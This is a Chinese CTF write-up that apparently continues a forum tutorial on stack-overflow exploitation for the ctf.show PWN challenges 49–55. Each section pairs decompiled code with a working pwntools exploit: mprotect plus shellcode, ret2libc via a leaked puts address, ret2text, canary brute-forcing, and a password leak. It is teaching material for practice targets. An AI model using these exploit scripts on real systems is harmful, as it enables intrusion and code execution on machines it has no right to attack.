文章接着上文万字长文带你一点点学会PWN之栈溢出-第一篇
https://www.52pojie.cn/thread-2092344-1-1.html
(出处: 吾爱破解论坛)进行更新,依旧栈溢出,相比于上一篇里面的攻击手法有所改变
PWN 49
分析一下
check一下
下载附件先check一下
➜ pwn49 checksec pwn
'/home/p0ach1l/Desktop/test/pwn49/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
32位小端序,RELRO:Partial RELRO:RELRP部分保护开启,部分重定位只读,GOT表可写,PLT表只读。Stack:Canary found:显示找到了栈上的金丝雀,栈溢出会变得困难。其实这里并没有开启栈保护,是有函数误报导致的NX:NX enabled:数据执行保护开启,堆和栈上的数据不能直接运行。PIE:No PIE (0x8048000):地址随机化没有开启,代码和数据的地址固定。Stripped:No:符号表没有剥离。
IDA看看
拖入32位IDA中进行查看,发现存在非常多的函数,猜测可能是静态编译的,使用file查看一下,果然是静态编译的,相比于动态编译,静态编译的程序通常有更多可用的 gadget,因为整个libc都被打包进去了,这反而可能让ROP更容易构造!
静态编译因为把整个libc都打包进去,一般比动态编译的反编译出来函数多。
先看看main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
init_0();
logo();
ctfshow();
return 0;
}
初始化之后打印logo,以及提示Use mprotect func do sth!:使用 mprotect 函数做某事。接着是ctfshow函数,跟进分析一下ctfshow函数。
int ctfshow()
{
char v1[14]; // [esp+6h] [ebp-12h] BYREF
return read(0, v1, 100);
}
定义了一个大小为14的字符数组v1,起始地址距离栈基址ebp偏移了0x12个字节,也就是18个字节,接着通过read函数向v1读入100个字节。很明显的栈溢出。接着查找是否存在后门函数,没找到有后门函数,根据提示看一下mprotect函数。
unsigned int __cdecl mprotect(const void *a1, size_t a2, int a3)
{
unsigned int result; // eax
result = sys_mprotect(a1, a2, a3);
if ( result >= 0xFFFFF001 )
return _syscall_error();
return result;
}
一个mprotect 系统调用的封装函数,用于修改内存区域的保护属性。
mprotect(const void *a1, size_t a2, int a3)
a1:内存区域的起始地址(需要页对齐) ,a2:内存区域的大小,必须是页大小的整数倍。a3:保护标志(如 PROT_READ读取、PROT_WRITE写入、PROT_EXEC执行、PROT_NONE内存段不能访问)。也可以用数字表示。
| 数字 |
权限 |
说明 |
| 0 |
PROT_NONE |
不可访问 |
| 1 |
PROT_READ |
只读 |
| 2 |
PROT_WRITE |
只写(通常不单独用) |
| 3 |
PROT_READ | PROT_WRITE |
可读写(最常见) |
| 4 |
PROT_EXEC |
可执行(通常不单独用) |
| 5 |
PROT_READ | PROT_EXEC |
可读可执行 |
| 6 |
PROT_WRITE | PROT_EXEC |
可写可执行 |
| 7 |
PROT_READ | PROT_WRITE | PROT_EXEC |
可读可写可执行 |
因为整个程序是静态编译的,所以程序地址是不变的,我们可以设置一段地址使其可读可写可执行,我们依旧设置一段.bss段的地址来进行构造shell。这里的.bss段起始地址是080DB320
.bss:080DB320 ; ===========================================================================
.bss:080DB320
.bss:080DB320 ; Segment type: Uninitialized
.bss:080DB320 ; Segment permissions: Read/Write
.bss:080DB320 _bss segment align_32 public 'BSS' use32
.bss:080DB320 assume cs:_bss
.bss:080DB320 ;org 80DB320h
.bss:080DB320 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.bss:080DB320 completed_6767 db ? ; DATA XREF: __do_global_dtors_aux↑r
.bss:080DB320 ; __do_global_dtors_aux:loc_804883D↑w
.bss:080DB321 align 4
那么我们直接用这个地址可以吗?当然不行啊,这里需要简单说一下内存页机制,内存被划分为固定大小的页(通常4KB=0x1000),每个页的起始地址必须是0x1000的倍数。这里的话需要向下对齐到最近的4KB内存页起始地址,以此来将包含bss段的那一整个内存页设置为可读可写可执行。这里使用的地址是0x80DA000。接着寻找gadget。三个参数需要三个寄存器。使用ROPgadget来寻找
ROPgadget --binary ./pwn --only "pop|ret"|grep "pop"
按照正确的逻辑我们要找的三个寄存器应该是ebx、ecx、edx。但这里并没有三个连续一块的,这里可以使用的有很多,只是为了吧栈里面的参数给弹出去,至于弹哪个寄存器不用太讲究,这里ROP链构造主要在于ret。
仅仅设置还不够,还需要向其中进行写入,这里就需要用到read函数了。
ssize_t read(int fd, void *buf, size_t count);
fd设为0时就可以从输入端读取内容 设为0,buf设为我们想要执行的内存地址 设为我们已找到的内存地址,size适当大小就可以 只要够读入shellcode就可以,设置大点无所谓。也是三个参数。那么如何向其中进行读入呢?引入一个新的方法
asm(shellcraft.sh())
生成一个打开shell的机器码(shellcode)。
完整思路:先通过使用mprotect函数将起始地址位0x80DA000的内存页设置为可读可写可执行,接着调用read函数从输入中向0x80DA000进行写入,将返回地址设置为0x80DA000,最后执行我们向0x80DA000写入的代码。
from pwn import *
#context(arch='i386',os='linux',log_level='debug')
io=remote("pwn.challenge.ctf.show",28299)
#io=process("./pwn")
elf=ELF("./pwn")
mprotect_adder=elf.sym['mprotect']
read_adder=elf.sym['read']
pop_ebx_esi_edi=0x08049bd9 #0x08049bd9 : pop ebx ; pop esi ; pop edi ; ret
pop_ebp_esi_edi=0x0809f805 #x0809f805 : pop ebp ; pop esi ; pop edi ; ret
pop_ebx_esi_ebp=0x080a019b #0x080a019b : pop ebx ; pop esi ; pop ebp ; ret
pop_edi_esi_ebx=0x08061c3b #0x08061c3b : pop edi ; pop esi ; pop ebx ; ret
pop_edx_ecx_ebx=0x0806e011 #0x0806e011 : pop edx ; pop ecx ; pop ebx ; ret
pop_esi_ebx_edx=0x0806dfe9 #0x0806dfe9 : pop esi ; pop ebx ; pop edx ; ret
pop_esi_edi_ebp=0x0804834a #0x0804834a : pop esi ; pop edi ; pop ebp ; ret
pop_esi_edi_ebx=0x08069cbd #0x08069cbd : pop esi ; pop edi ; pop ebx ; ret
mprotect_a1=0x80DA000
mprotect_a2=0x1000
mprotect_a3=0x7
read_a1=0
read_a2=0x80DA000
read_a3=0X10000
payload=b'a'*(0x12+4)+p32(mprotect_adder)+p32(pop_ebx_esi_ebp)+p32(mprotect_a1)+p32(mprotect_a2)+p32(mprotect_a3)+p32(read_adder)+p32(pop_ebx_esi_ebp)+p32(read_a1)+p32(read_a2)+p32(read_a3)+p32(0x80DA000)
io.sendline(payload)
io.sendline(asm(shellcraft.sh()))
io.interactive()
正如我们之前提到的,这几个gadget都可以使用,都能正常获取到flag

PWN 50
分析一下
check一下
下载附件check一下
➜ pwn50 checksec pwn
'/home/p0ach1l/Desktop/test/pwn50/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
64位小端序,RELRO:Partial RELRO:RELRO部分开启,部分重定位只读,GOT表可写,PLT只读。Stack:No canary found:栈上没有金丝雀保护,存在栈溢出时不需要泄露或者绕过canary值。NX:NX enabled:数据执行保护开启,栈和堆上的数据无法直接执行。PIE:No PIE (0x400000):无地址随机化,代码和数据的地址固定。Stripped:No:符号表没有剥离。
IDA看看
拖入64位IDA进行查看,先看看main函数
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
logo();
ctfshow();
exit(0);
}
初始化之后,打印logo,以及提示信息Use mprotect func do sth,接着是ctfshow函数,跟进分析一下ctfshow函数。
__int64 ctfshow()
{
char v1[32]; // [rsp+0h] [rbp-20h] BYREF
puts("Hello CTFshow");
return gets(v1);
}
定义了一个大小为32字节的字符数组v1,起始地址距离栈基址rbp偏移0x20个字节也就是32个字节,接着输出Hello CTFshow,然后通过gets()函数向v1写入字节,gets函数的特性是不检查输入长度,可以无限读取直到换行符。存在栈溢出。接着找一下是否存在后门函数,没有发现。这里我们可以使用之前的方法来做,通过puts函数泄露libc地址,再使用libc中的system函数来构造shell。
payload及获取flag
在构造ROP链接的时候还需要gadget,使用ROPgadget进行查找。
ROPgadget --binary ./pwn |grep "pop rdi"
得到pop rdi;ret的地址是0x4007e3,这里还需要一个ret来保证栈帧平衡
ROPgadget --binary ./pwn --only "ret"
这里我们可以使用之前的方法先泄露libc地址在使用libc中的system函数来构造shell
from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux',log_level='debug')
io=remote("pwn.challenge.ctf.show",28241)
elf=ELF("./pwn")
puts_plt_adder=elf.plt['puts']
puts_got_adder=elf.got['puts']
pop_rdi_adder=0x4007e3
ret=0x4004fe
main_adder=elf.sym['main']
payload=b'a'*(0x20+8)+p64(pop_rdi_adder)+p64(puts_got_adder)+p64(puts_plt_adder)+p64(main_adder)
io.sendline(payload)
puts=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libc=LibcSearcher("puts",puts)
libc_base=puts-libc.dump('puts')
system_adder=libc_base+libc.dump('system')
bin_sh_adder=libc_base+libc.dump('str_bin_sh')
payload=b'a'*(0x20+8)+p64(pop_rdi_adder)+p64(bin_sh_adder)+p64(ret)+p64(system_adder)
io.sendlineafter("Hello CTFshow",payload)
io.interactive()
那么我们还可以怎么做呢?也可以使用mprotect函数来构造shell。这里使用mprotect函数的话需要本地和远程环境的.so文件一致才能获取正确的gadget。这里就不在演示了。
PWN 51
分析一下
check一下
下载附件先check一下
➜ pwn51 checksec pwn
'/home/p0ach1l/Desktop/test/pwn51/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
32位小端序,RELRO:Partial RELRO:RELRP部分保护开启,部分重定位只读,GOT表可写,PLT表只读。Stack: No canary found:栈上没有金丝雀保护,存在栈溢出时可以直接利用。NX:NX enabled:数据执行保护开启,堆和栈上的数据不能直接运行。PIE:No PIE (0x8048000):地址随机化没有开启。显然符号表已经被剥离了。
IDA看看
拖进32位IDA中进行查看,看左边的函数名称也可以看出来函数表被剥离了。先看main函数。
int __cdecl main(int a1)
{
sub_80492E6(&a1);
sub_8049343();
alarm(0x1Eu);
sub_8049059();
return 0;
}
挨个函数进行跟进分析,先看sub_80492E6函数
int sub_80492E6()
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
return setvbuf(stderr, 0, 2, 0);
}
初始化的函数,接着看第二个函数sub_8049343
int sub_8049343()
{
puts(" ▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄ ");
puts(asc_804A3DC);
puts(
" ██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██");
puts(asc_804A4E4);
puts(asc_804A574);
puts(asc_804A5F8);
puts(
" ▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀ ");
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Stack_Overflow ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : Who are you? ");
return puts(" * ************************************* ");
}
是之前的logo函数,提示Who are you,(你是谁),没什么有用的信息,接着看,alarm(0x1Eu);设置一个0x1E(三十)秒的定时器,接着是sub_8049059,跟进分析一下
int sub_8049059()
{
int v0; // eax
int v1; // eax
unsigned int v2; // eax
int v3; // eax
const char *v4; // eax
int v6; // [esp-Ch] [ebp-84h]
int v7; // [esp-8h] [ebp-80h]
char v8[12]; // [esp+0h] [ebp-78h] BYREF
char s[32]; // [esp+Ch] [ebp-6Ch] BYREF
char v10[24]; // [esp+2Ch] [ebp-4Ch] BYREF
char v11[24]; // [esp+44h] [ebp-34h] BYREF
unsigned int i; // [esp+5Ch] [ebp-1Ch]
memset(s, 0, sizeof(s));
puts("Who are you?");
read(0, s, 0x20u);
std::string::operator=(&unk_804D0A0, &unk_804A350);
std::string::operator+=(&unk_804D0A0, s);
std::string::basic_string(v10, &unk_804D0B8);
std::string::basic_string(v11, &unk_804D0A0);
sub_8048F06(v8);
std::string::~string(v11, v11, v10);
std::string::~string(v10, v6, v7);
if ( sub_80496D6(v8) > 1u )
{
std::string::operator=(&unk_804D0A0, &unk_804A350);
v0 = sub_8049700(v8, 0);
if ( (unsigned __int8)sub_8049722(v0, &unk_804A350) )
{
v1 = sub_8049700(v8, 0);
std::string::operator+=(&unk_804D0A0, v1);
}
for ( i = 1; ; ++i )
{
v2 = sub_80496D6(v8);
if ( v2 <= i )
break;
std::string::operator+=(&unk_804D0A0, "IronMan");
v3 = sub_8049700(v8, i);
std::string::operator+=(&unk_804D0A0, v3);
}
}
v4 = (const char *)std::string::c_str(&unk_804D0A0);
strcpy(s, v4);
printf("Wow!you are:%s", s);
return sub_8049616(v8);
}
跟我们之前遇到的不太一样,这次是C++写的,定义了几个变量,重点看一下s,大小为32个字节,起始地址距离栈基址ebp偏移0x6C个字节也就是108个字节,在往s中read的时候大小没有问题,但是程序在下面将字符I替换成了IronMan,最后在strcpy的时候就会触发溢出。所以我们想要触发溢出的话需要将填充字符替换为I,这里替换后的IronMan为7个字节,s距离栈基址ebp偏移了108个字节。加上要覆盖保存的ebp的4个字节。也就是112个字节,也就是16个7,也就是需要16个I。
在字符串表中发现cat /ctfshow_flag,跟进一下,找到后门函数
int sub_804902E()
{
return system("cat /ctfshow_flag");
}
因为没有开启PIE,地址是固定的,直接用就好。
payload及获取flag
from pwn import *
context(arch='i386',os='linux',log_level='debug')
io=remote("pwn.challenge.ctf.show",28218)
flag_adder=0x804902E
payload=b'I'*16+p32(flag_adder)
io.sendline(payload)
io.interactive()

PWN 52
分析一下
check一下
下载附件先check一下
➜ pwn52 checksec pwn
'/home/p0ach1l/Desktop/test/pwn52/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
32位小端序,RELRO:Partial RELRO:RELRP部分保护开启,部分重定位只读,GOT表可写,PLT表只读。Stack:No Canary found:栈上没有金丝雀保护,存在栈溢出时可以直接使用。NX:NX enabled:数据执行保护开启,堆和栈上的数据不能直接运行。PIE:No PIE (0x8048000):地址随机化没有开启。Stripped:No:符号表没有剥离。
IDA看看
拖入32位IDA进行查看,先看看main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
logo(&argc);
puts("What do you want?");
ctfshow();
return 0;
}
初始化之后打印logo,以及提示信息You should meet its conditions!:你应该满足它的条件!接着使用puts函数输出What do you want?。接着是ctfshow函数,接着跟进分析ctfshow函数
int ctfshow()
{
char s[104]; // [esp+Ch] [ebp-6Ch] BYREF
gets(s);
return puts(s);
}
定义了一个大小位104字节的字符数组s,起始地址距离栈基址ebp偏移了0x6C个字节也就是108个字节,接着使用gets函数向s进行写入,接着使用puts函数输出s,gets函数不会检验大小,一直读取到换行符或者结束才会停止。很明显栈溢出。接着看一下有没有后门函数,发现名为flag的函数
char *__cdecl flag(int a1, int a2)
{
char *result; // eax
char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
FILE *stream; // [esp+4Ch] [ebp-Ch]
stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
result = fgets(s, 64, stream);
if ( a1 == 876 && a2 == 877 )
return (char *)printf(s);
return result;
}
函数接受两个参数a1和a2,定义了一个大小为64字节的字符数组s,起始地址距离栈基址ebp偏移了0x4C个字节也就是76个字节,定义了一个文件指针stream,使用fopen()函数打开文件,返回文件指针为stream,检查stream是否为空,如果是空的话则输出ctfshow_flag: No such file or directory.,并结束程序,接着使用fgets函数从stream中读取64个字节写入到s。接着进行判断如果a1=876,a2=877则输出s,也就是flag。
payload及获取flag
因为没有开启PIE,可以直接使用flag的地址,也可以使用脚本来获取,也没有开启栈溢出保护,直接触发栈溢出到flag函数,并传入两个参数分别对应a1和a2
from pwn import *
#context(arch='i386',os='linux',log_level='debug')
io=remote("pwn.challenge.ctf.show",28267)
elf=ELF("./pwn")
flag=elf.sym['flag']
payload=b'a'*(0x6C+4)+p32(flag)+p32(0)+p32(876)+p32(877)
io.sendline(payload)
io.interactive()
这里有puts函数,也可以使用之前的方法使用libc中的system函数来进行构造
from pwn import *
from LibcSearcher import *
#context(arch='i386',os='linux',log_level='debug')
io=remote("pwn.challenge.ctf.show",28267)
elf=ELF("./pwn")
puts_plt_adder=elf.plt['puts']
puts_got_adder=elf.got['puts']
main=elf.sym['main']
payload=b'a'*(0x6C+4)+p32(puts_plt_adder)+p32(main)+p32(puts_got_adder)
io.sendline(payload)
puts=u32(io.recvuntil(b'\xf7')[-4:])
libc=LibcSearcher("puts",puts)
libc_base=puts-libc.dump("puts")
system_adder=libc_base+libc.dump("system")
bin_sh_adder=libc_base+libc.dump("str_bin_sh")
payload=b'a'*(0x6C+4)+p32(system_adder)+p32(0)+p32(bin_sh_adder)
io.sendline(payload)
io.interactive()
成功获取flag

PWN 53
分析一下
check一下
下载附件先check一下
➜ pwn53 checksec pwn
'/home/p0ach1l/Desktop/test/pwn53/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
32位小端序,RELRO:Partial RELRO:RELRP部分保护开启,部分重定位只读,GOT表可写,PLT表只读。Stack:No Canary found:栈上没有金丝雀保护,存在栈溢出时可以直接使用。NX:NX enabled:数据执行保护开启,堆和栈上的数据不能直接运行。PIE:No PIE (0x8048000):地址随机化没有开启。Stripped:No:符号表没有剥离。
IDA看看
拖进32位IDA中进行查看,先看看main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
logo(&argc);
canary();
ctfshow();
return 0;
}
初始化完成之后打印logo,并输出提示Do you know how Canary works?:你知道canary是如何工作的吗?,接着是canary函数和ctfshow函数,先跟进分析一下canary函数
int canary()
{
FILE *stream; // [esp+Ch] [ebp-Ch]
stream = fopen("/canary.txt", "r");
if ( !stream )
{
puts("/canary.txt: No such file or directory.");
exit(0);
}
fread(&global_canary, 1u, 4u, stream);
return fclose(stream);
}
定义了一个文件指针stream,接着以只读模式打开根目录下的 canary.txt 文件,并返回文件操作句柄(指针)。如果stream指针为空的话则表明/canary.txt不存在输出canary.txt: No such file or directory并结束整个程序,接着从文件指针stram中每次读取一个字节总共读取四个字节并存入到全局变量global_canary中。接着关闭文件流并返回结果。接着看ctfshow函数
int ctfshow()
{
size_t nbytes; // [esp+4h] [ebp-54h] BYREF
char v2[32]; // [esp+8h] [ebp-50h] BYREF
char buf[32]; // [esp+28h] [ebp-30h] BYREF
int s1; // [esp+48h] [ebp-10h] BYREF
int v5; // [esp+4Ch] [ebp-Ch]
v5 = 0;
s1 = global_canary;
printf("How many bytes do you want to write to the buffer?\n>");
while ( v5 <= 31 )
{
read(0, &v2[v5], 1u);
if ( v2[v5] == 10 )
break;
++v5;
}
__isoc99_sscanf(v2, "%d", &nbytes);
printf("$ ");
read(0, buf, nbytes);
if ( memcmp(&s1, &global_canary, 4u) )
{
puts("Error *** Stack Smashing Detected *** : Canary Value Incorrect!");
exit(-1);
}
puts("Where is the flag?");
return fflush(stdout);
}
定义了几个变量,(nbytes 是 size_t 类型(无符号整数),没有检查用户输入是否为负数或过大)设定v5的值为0,设置s1为global_canary,接着输出How many bytes do you want to write to the buffer?,接着每次向v2写入一个字符,循环最多32次,遇到换行符则跳出循环,接着将v2转换为整数存入到nbytes,接着输出$,然后从标准输入读取nbytes字节到 buf,使用%d格式说明符将字符串解析为一个有符号整数,接着比对局部变量 s1(canary 副本)与全局变量 global_canary 是否一致,如果不一致标明程序已经发生栈溢出则输出*Error Stack Smashing Detected : Canary Value Incorrect接着打印Where is the flag*并返回。
这段代码的功能是从标准输入读取用户输入的字节数,并将相应字节数的数据读取到缓冲区buf中。然后,它会检查堆栈的完整性,如果堆栈被破坏,则输出错误信息并终止程序。我们可以看出程序是模拟了一个保护,但是由于文件名不变,其内容大概率也是不会变化的。加上题目提示猜测可以进行爆破。
还有一个flag函数
int flag()
{
char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
FILE *stream; // [esp+4Ch] [ebp-Ch]
stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(s, 64, stream);
puts(s);
return fflush(stdout);
}
很简单的逻辑,定义了一个大小为64字节的数组s,起始地址距离栈基址ebp偏移了0x4C个字节也就是76个字节,接着以只读模式打开根目录下的 /ctfshow_flag 文件,并返回文件操作句柄(指针),如果stream为空则表示不存在/ctfshow_flag文件,则输出ctfshow_flag: No such file or directory,并退出程序。接着将stream中的内容读取64个字节存入到s中,接着输出s,接着退出并刷新标准输出缓冲区。
payload及获取flag
from pwn import *
context.log_level = 'critical'
canary = b''
for i in range(4):
for c in range(0xFF + 1):
io = remote('pwn.challenge.ctf.show', 28243)
io.sendlineafter('>', '-1')
payload = b'a' * 0x20 + canary + p8(c)
io.sendafter('$ ', payload)
io.recv(1)
ans = io.recv()
if b'Canary Value Incorrect!' not in ans:
print(f'The index({i}), value(0x{c:02x})')
canary += p8(c)
io.close()
break
else:
io.close()
print(f'canary = 0x{canary.hex()}')
io = remote('pwn.challenge.ctf.show', 28243)
elf = ELF('./pwn')
flag = elf.sym['flag']
payload = b'a' * 0x20 + canary + p32(0) * 4 + p32(flag)
io.sendlineafter('>', '-1')
io.sendafter('$ ', payload)
io.interactive()
先爆破canary的值,其中p8(c)会将我们测试的c转换为1个字节,
if b'Canary Value Incorrect!' not in ans:如果响应中没有Canary Value Incorrect则表明当前爆破的是对的。将p8(c)存储到canary中接着爆破下一位。
爆破完成后即可成功获取到flag
PWN 54
分析一下
check一下
下载附件先进行一下check
➜ pwn54 checksec pwn
'/home/p0ach1l/Desktop/test/pwn54/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
32位小端序,RELRO:Partial RELRO:RELRP部分保护开启,部分重定位只读,GOT表可写,PLT表只读。Stack:No Canary found:栈上没有金丝雀保护,存在栈溢出时可以直接使用。NX:NX enabled:数据执行保护开启,堆和栈上的数据不能直接运行。PIE:No PIE (0x8048000):地址随机化没有开启。Stripped:No:符号表没有剥离。
IDA看看
拖入32位IDA中进行查看,先看main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s1[64]; // [esp+0h] [ebp-1A0h] BYREF
char v5[256]; // [esp+40h] [ebp-160h] BYREF
char s[64]; // [esp+140h] [ebp-60h] BYREF
FILE *stream; // [esp+180h] [ebp-20h]
char *v8; // [esp+184h] [ebp-1Ch]
int *p_argc; // [esp+194h] [ebp-Ch]
p_argc = &argc;
setvbuf(stdout, 0, 2, 0);
memset(s, 0, sizeof(s));
memset(v5, 0, sizeof(v5));
memset(s1, 0, sizeof(s1));
puts("==========CTFshow-LOGIN==========");
puts("Input your Username:");
fgets(v5, 256, stdin);
v8 = strchr(v5, 10);
if ( v8 )
*v8 = 0;
strcat(v5, ",\nInput your Password.");
stream = fopen("/password.txt", "r");
if ( !stream )
{
puts("/password.txt: No such file or directory.");
exit(0);
}
fgets(s, 64, stream);
printf("Welcome ");
puts(v5);
fgets(s1, 64, stdin);
v5[0] = 0;
if ( !strcmp(s1, s) )
{
puts("Welcome! Here's what you want:");
flag();
}
else
{
puts("You has been banned!");
}
return 0;
}
进行初始化之后设置变量,设置了字符变量s1(64个字节)、v5(256个字节)、s(64个字节),以及文件指针stream,字符指针v8,和整形指针p_argc,将argc的地址赋值给p_argc指针,接着将s1、v5、s置为0。接着使用puts函数打印CTFshow-LOGIN和Input your Username:,接着使用fgets函数从输入读取最多256个字节到v5,在v5中查找ASCLL码为10(也就是\n)的字符,strchr返回指向第一个匹配字符的指针,如果没找到则返回NULL,接着将结果赋值给v8,如果v8不为空,也就是找到了换行符\n,那么将换行符替换为ASCLL码0也就是字符串终止符\0,这个时候v5也就变成了干净的用户名字符串,接着将字符串,\nInput your Password.追加到v5后面,此时v5的内容为用户名,\nInput your Password,接着以只读的形式打开根目录下的文件password.txt并将返回的FILE指针赋给之前声明的stream指针,文件打开失败的话stream为空,并输出password.txt: No such file or directory退出程序,接着使用fgets函数从stream中读取最多64个字符写入到s中,输出Welcome和v5,也就是输出Welcome,用户名,\nInput your Password。接着使用fgets函数从输入中读取64个字节保存到s1中,接着将v5数组中的第一个字符设置为0(空终止符),相当于清空了v5字符串,接着比对s1和s,也就是我们输入的密码s1和从文件中读取的正确密码s,strcmp 返回 0 表示两个字符串相等。if ( !strcmp(s1, s) )如果密码相等的话则条件为真,接着使用puts函数输出Welcome! Here's what you want:,然后执行flag函数,如果密码不同则条件为假,接着使用puts函数输出You has been banned!:你已被封禁!
跟进分析一下flag函数
int flag()
{
char s[48]; // [esp+Ch] [ebp-3Ch] BYREF
FILE *stream; // [esp+3Ch] [ebp-Ch]
stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(s, 48, stream);
printf("%s", s);
return 0;
}
很明显的输出flag。
总体来说就说让我们输入用户名和密码,比对和服务器中的密码是否一致,一致的话就输出flag,不一致就输出You has been banned!
payload及获取flag
思路很简单,获取密码即可,如何获取密码呢?
存储用户输入用户名的v5和存储密码的s仅仅相隔了0x100个字节
char v5[256]; // [esp+40h] [ebp-160h] BYREF
char s[64]; // [esp+140h] [ebp-60h] BYREF
0x100个字节刚好是256个字节,我们输入0x100的字节时刚好符合读入的数据256个字节,这个时候换行符并不会保存到v5中也就没有了终止符,在puts(v5);时就会将s也输出出来,也就是输出密码。当然也不一定必须要输入0x100个字节,在代码中还会在v5后添加,\nInput your Password.其中\n为一个字节,一共22个字节,也就是我们输入234个字节之上就会输出保存服务器中密码的数组s。之后再输入密码就可以拿到flag了。不使用脚本也可以。
from pwn import *
io = remote("pwn.challenge.ctf.show", 28230)
io.sendline(b'a' * 234)
io.recvuntil(b'Input your Password.')
password = io.recv(64)
io.sendline(password)
io.interactive()
运行成功接收到flag

PWN 55
分析一下
check一下
下载附件先check一下
➜ pwn55 checksec pwn
'/home/p0ach1l/Desktop/test/pwn55/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
32位小端序,RELRO:Partial RELRO:RELRP部分保护开启,部分重定位只读,GOT表可写,PLT表只读。Stack:No Canary found:栈上没有金丝雀保护,存在栈溢出时可以直接使用。NX:NX enabled:数据执行保护开启,堆和栈上的数据不能直接运行。PIE:No PIE (0x8048000):地址随机化没有开启。Stripped:No:符号表没有剥离。
IDA看看
拖入32位IDA中进行查看,先看看main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
logo(&argc);
puts("How to find flag?");
ctfshow();
return 0;
}
初始化之后打印logo,并给出提示信息Try to find the relationship between flags:找出flag之间的关系,接着使用puts函数输出How to find flag:如何寻找flag。接着调用ctfshow函数,跟进分析一下ctfshow函数
char *ctfshow()
{
char s[40]; // [esp+Ch] [ebp-2Ch] BYREF
printf("Input your flag: ");
return gets(s);
}
定义了一个大小为40字节的字符数组s,起始地址距离栈基址ebp偏移了0x2C个字节,也就是44个字节,接着使用puts函数输出Input your flag:,接着使用gets函数向s中开始进行写入,gets函数不会验证大小,明显的栈溢出。接着看看有没有后门函数,发现有多个flag开头的函数,跟进一下先看flag函数
int __cdecl flag(int a1)
{
char s[48]; // [esp+Ch] [ebp-3Ch] BYREF
FILE *stream; // [esp+3Ch] [ebp-Ch]
stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(s, 48, stream);
if ( flag1 && flag2 && a1 == -1111638595 )
return printf("%s", s);
if ( flag1 && flag2 )
return puts("Incorrect Argument.");
if ( flag1 || flag2 )
return puts("Nice Try!");
return puts("Flag is not here!");
}
引入a1来接受输入,定义了一个大小为48字节的字符数组s和一个文件指针stream,以只读的形式打开/ctfshow_flag文件并将返回的FILE指针赋给之前声明的stream变量。如果指针为空则说明/ctfshow_flag文件不存在,则输出ctfshow_flag: No such file or directory并退出程序。使用fgets函数从stream中读取最多48个字符写入到s中。然后是三个判断,判断1为:如果flag1、flag2和a1=-1111638595则输出s也就是flag。判断2为:如果flag1和flag2为真则输出Incorrect Argument.。判断3为:flag1和flag2两个条件中满足一个则输出Nice Try!.接着输出Flag is not here!。
跟进一下看一下flag_func1函数
Elf32_Dyn **flag_func1()
{
Elf32_Dyn **result; // eax
result = &GLOBAL_OFFSET_TABLE_;
flag1 = 1;
return result;
}
这里直接将flag1置为1,即永远是真的。接着看flag_func2函数
Elf32_Dyn **__cdecl flag_func2(int a1)
{
Elf32_Dyn **result; // eax
result = &GLOBAL_OFFSET_TABLE_;
if ( flag1 && a1 == -1397969748 )
{
flag2 = 1;
}
else if ( flag1 )
{
return (Elf32_Dyn **)puts("Try Again.");
}
else
{
return (Elf32_Dyn **)puts("Try a little bit.");
}
return result;
}
逻辑很简单flag1和a1=-1397969748两个都为真的话将flag2也设置为真,否则的话输出重新尝试。
payload及获取flag
这里的两个a1是int类型的,转换为16进制为0xACACACAC和0XBDBDBDBD。没有开启PIE和栈保护,直接编写脚本
from pwn import *
io=remote("pwn.challenge.ctf.show",28244)
elf=ELF("./pwn")
flag1=elf.sym['flag_func1']
flag2=elf.sym['flag_func2']
flag=elf.sym['flag']
flag2_a1= 0xACACACAC
flag_a1= 0XBDBDBDBD
payload=b'a'*(0x2C+4)+p32(flag1)+p32(flag2)+p32(flag)+p32(flag2_a1)+p32(flag_a1)
io.sendline(payload)
io.interactive()
这里也可以使用我们之前的方法,构造shell来获取flag。
from pwn import *
from LibcSearcher import *
#context(arch='i386',os='linux',log_level='debug')
io=remote("pwn.challenge.ctf.show",28244)
elf=ELF("./pwn")
puts_plt_adder=elf.plt['puts']
puts_got_adder=elf.got['puts']
main=elf.sym['main']
